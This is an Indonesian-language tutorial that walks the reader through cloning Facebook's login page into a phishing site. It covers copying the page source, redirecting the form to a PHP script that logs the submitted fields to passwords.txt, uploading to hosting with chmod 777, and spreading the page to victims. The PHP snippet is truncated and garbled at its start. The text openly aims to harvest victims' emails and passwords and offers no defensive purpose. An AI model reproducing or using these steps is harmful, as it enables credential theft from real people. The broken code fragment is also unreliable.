• Cari dan buka alamat yang mau dijadikan homepage/halaman utama Web Phisinganda. misal http://www.facebook.com.
• Setelah halaman terbuka sepenuhnya anda tekal tombol “Ctrl + U” di keyboard secara bersamaan. Kemudian akan muncul Source Code.
• Copy semua Source Code tersebut. Tekan “Ctrl + A” (untuk blok semua source code) kemudian tekan “Crtl + C”
• Setelah itu buka notepad.
• Paste Source Code (ctrl + v) yang sudah di copy tadi.
• Cari menggunakan “Crtl + F”, isi dengan “action=” (tanpa tanda petik)
• Ketemu
• Ganti “fb.com” (contoh) dengan “phising.php”.
• Ubah “post” menjadi “GET“.
• Save as (file – Save as) atau tekan “Ctrl + S”. Berinama dengan “index.html” dan File Type pilih “All FIle”
• Buka notepad lagi.
• Copy Paste Code PHP ini ke notepad :

$value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>

• Ganti “http://fb.com” dengan “http://facebook.com” (tanpa tanda kutip).
• Save dengan nama phising dan extensi .php jadinya phising.php
• Upload ke hosting anda.
• Setelah ke-3 file berhasil di upload jangan lupa permission/chmod di atur 777 untuk file passwords.txt, agar password yang di ketikan oleh korban dapat tersimpan.
• Selesai.
• Silahkan anda test apakah Web Phising buatan anda sukses dapat menyimpan email dan password korban.
• Jika berhasil menyimpan informasi login korban seperti email dan password, waktunya sebarkan web phising anda dengan kecerdikan anda.